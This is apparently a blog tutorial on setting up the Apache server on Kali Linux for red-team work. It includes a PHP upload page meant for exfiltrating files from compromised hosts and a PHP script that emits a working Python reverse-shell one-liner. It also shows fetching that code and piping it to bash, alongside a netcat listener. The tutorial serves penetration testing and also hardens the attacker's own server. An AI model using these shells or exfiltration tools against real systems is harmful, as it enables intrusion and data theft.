banner

Configure Apache on Kali

Last updated 

Photo Credits: Unsplash, Kali, and Wikipedia

Introduction

Most users of Kali Linux are aware of the installed-by-default Apache web server; However, few - in my experience - make much use of it. This article walks through the first steps I take in configuring the Apache web server for convenient red-teaming functions.

Basic Security Precautions

Many red-teamers overlook the security of their own platforms, but I can't afford to given my configuration: I create an upload service for the exfiltration of files from target machines, and I also use PHP to generate reverse-shell code snippets with the correct IPs and ports. If basic precautions are not taken, I am setting myself up for a trivial reverse shell attack (i.e., one could upload a PHP web shell using the uploader, then... execute it. Two steps, max.)

Disable Directory Listing

This does nothing to prevent the issue described in the preceeding section, but I consider it a basic security precaution, and I generally take this step before proceeding with anything else.

My first step: remove 'Indexes' from the main Apache configuration file. (Also, consider commenting out all <Directory> blocks for directories that will not be in active use.)

Initial config (only showing relevant section):

/etc/apache2/apache2.conf
<Directory /var/www/>
	Options Indexes FollowSymLinks
	AllowOverride All
	Require all granted
</Directory>

Edited config:

/etc/apache2/apache2.conf
<Directory /var/www/>
	Options FollowSymLinks
	AllowOverride All
	Require all granted
</Directory>

Restrict PHP By Location

My second step is to restrict the directories in which PHP will be executed. To do this, edit /etc/apache2/mods-enabled/php<version>.conf.

Below the default <Directory> block, I add a <DirectoryMatch> block with regex to match all subdirectories of /var/www/html except the subdirectory 'shells', where I will be placing some PHP scripts. This will limit PHP execution to /var/www/html and /var/www/html/shells/.

Added lines:

/etc/apache2/mods-enabled/php8.2.conf
<DirectoryMatch "^/var/www/html/((?!shells).+)/">
    php_admin_flag engine Off
</DirectoryMatch>

Restrict PHP Functions

Next, I disable commonly abused PHP functions, such as exec, system, and eval. To do this, edit your system's php.ini file, typically located at /etc/php/<Your PHP Version>/apache2/php.ini. Find the line starting with disable_functions = and add your list of functions to the end of the line.

Before:

/etc/php/8.2/apache2/php.ini
disable_functions =

After:

/etc/php/8.2/apache2/php.ini
disable_functions = exec, system, eval

Adding Features

With those settings out of the way, I can start to add features.

Uploader

First up is a PHP script for uploading files. This can be very handy when remote code execution has been gained on a Linux box. (For Windows targets, I prefer impacket's smbserver.py.)

Steps:

  1. mkdir /var/www/html/uploads
  2. Create /var/www/html/upload.html
/var/www/html/upload.html
<!DOCTYPE html>
<html>
	<body>
		<form action="upload.php" method="post" enctype="multipart/form-data">
			Select file to upload:
			<input type="file" name="file" id="file">
			<input type="submit" value="Upload" name="submit">
		</form>
	</body>
</html>
  1. Create /var/www/html/upload.php
/var/www/html/upload.php
<?php
	# for troubleshooting, uncomment the following:
	#$json = json_encode($_FILES);
	#echo "$json\n";

	$target_dir = "uploads/";
	if (basename($_FILES["file"]["name"]) != "") {
		$target_file = $target_dir . basename($_FILES["file"]["name"]);
	} else {
		$target_file = $target_dir . "tmp";
	}
	$uploadOk = 1;

	// Check if file already exists
	if (file_exists($target_file)) {
		echo "Error: file $target_file already exists\n";
		$uploadOk = 0;
	}

	// Check if $uploadOk is set to 0 by an error
	if ($uploadOk == 0) {
		echo "Sorry, your file was not uploaded.";
	// if everything is ok, try to upload file
	} else {
		if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
			echo "The file ". htmlspecialchars( basename( $_FILES["file"]["name"])). " has been uploaded.";
		} else {
			echo "there was an error uploading your file";
		}
	}
?>

Note: This script is largely the product of a StackOverflow post I have long since lost the link to. My apologies to the original author.

Unnecessary Styling

In the spirit of transparency, my setup is marginally more complex; For no real reason, I have added CSS to my html page, even though I almost exclusively upload files with curl. If you care to be inefficient like me, take the following steps:

  1. mkdir -p /var/www/html/assets/css
  2. Create /var/www/html/assets/css/styles.css
/var/www/html/assets/css/styles.css
html, body {
    font-family: 'Poppins', sans-serif;
    font-weight: 400;
    background-color: #262626;
    color: #e5e7eb;
    font-size: 16px;
    -ms-text-size-adjust: 100%;
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
}

h1, h2, h3, h4, h5, h6 {
    color: #fff;
    font-weight: 700;
}

h1 {
    margin-top: 10px;
    margin-bottom: 10px;
    font-size: 50px;
}

h2 {
    margin-bottom: 10px;
    font-size: 35px;
}

body {
    display: flex;
    flex-direction: column;
    align-items: center;
    gap: 10px;
    width: 100%;
    font-size: large;
}

form {
    display: flex;
    flex-direction: column;
    gap: 10px;
    width: 300px;
}
  1. Add the following to /var/www/html/upload.html
<head>
	<title>File Uploader</title>
	<link
		href="https://fonts.googleapis.com/css2?family=Poppins:wght@100;200;300;400;500;600;700;800;900&display=swap"
		rel="stylesheet">
	<link 
		href="https://cdn.jsdelivr.net/npm/bootstrap@4.4.1/dist/css/bootstrap.min.css" 
		integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" 
		crossorigin="anonymous"
		rel="stylesheet">
	<link 
		href="assets/css/styles.css"
		rel="stylesheet">
</head>

Before:

Diagram

After:

Diagram

Shell Generator

While the uploader is my most-used feature, the shell generator might be my favorite. When first gaining code execution on a remote host, one often does not have access to a full, interactive shell. Generally, gaining one is the first step in a more thorough exploitation. To avoid the various issues of excessively long one-liners, escaping quotes, and escaping special characters, I often found myself:

  1. Creating a file with a reverse-shell code snippet, taking care to edit in the correct IP and port for my attacker box
  2. Putting that file in /var/www/html
  3. Downloading and executing that file from the target, e.g., curl <URI> | /bin/bash

To reduce the number of steps, do the following:

  1. mkdir /var/www/html/shells
  2. Create /var/www/html/shells/py.php
/var/www/html/shells/py.php
<?php
	$ip = $_SERVER["SERVER_ADDR"];
	if (isset($_GET["port"])) {
    $port = $_GET["port"];
	} else {
		$port = "8080";
	}
	$str = "python3 -c " . '\'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("' . $ip . '",' . $port . '));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'';
	echo $str;
?>

This script returns the python reverse-shell code snippet with the IP address on the server port that received the request (so it will work even in a multi-interface scenario), and either the port provided as a URL parameter in the request, or the default port (8080) if none is provided.

Request Rewriting

As my last configuration change, I like to enable the rewriting module to eliminate the need for typing .html. With the following configuration, the Apache server will test all invalid URIs to see if there is a matching .html file, and - if so - return it.

  1. sudo a2enmod rewrite
  2. Edit the site configuration file:
/etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
	# The ServerName directive sets the request scheme, hostname and port that
	# the server uses to identify itself. This is used when creating
	# redirection URLs. In the context of virtual hosts, the ServerName
	# specifies what hostname must appear in the request's Host: header to
	# match this virtual host. For the default virtual host (this file) this
	# value is not decisive as it is used as a last resort host regardless.
	# However, you must set it for any further virtual host explicitly.
	#ServerName www.example.com

	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf

	<Directory "/var/www/html">
		RewriteEngine on
		# is not a directory
		RewriteCond %{REQUEST_FILENAME} !-d 
		# is not a file
		RewriteCond %{REQUEST_FILENAME} !-f
		# there is an html file by that name
		RewriteCond %{REQUEST_FILENAME}\.html -f
		# append .html
		RewriteRule ^(.*)$ $1.html
	</Directory>
</VirtualHost>

Tests

Note: Before testing any changes, be sure to start/restart the server: systemctl restart apache2. And, if you haven't already, consider enabling the service: systemctl enable apache2.

Uploader

To test the uploader from the local machine (or a remote machine - but edit the hostname below): curl -X POST http://localhost/upload.php -F "file=@/tmp/test.txt".

(This of course assumes you have a file located at /tmp/test.txt on the machine where you are running the command.)

Shell Generator

To test the shell generator example from the local machine (or a remote machine - but edit the hostname below):

  1. Open a netcat listener, preferably in combination with rlwrap: rlwrap nc -lvp 8888
  2. curl http://127.0.0.1/shells/py.php?port=8888 | /bin/bash
  3. Profit..?

Note: localhost will not work as expected with your curl command for the shell generator.

Diagram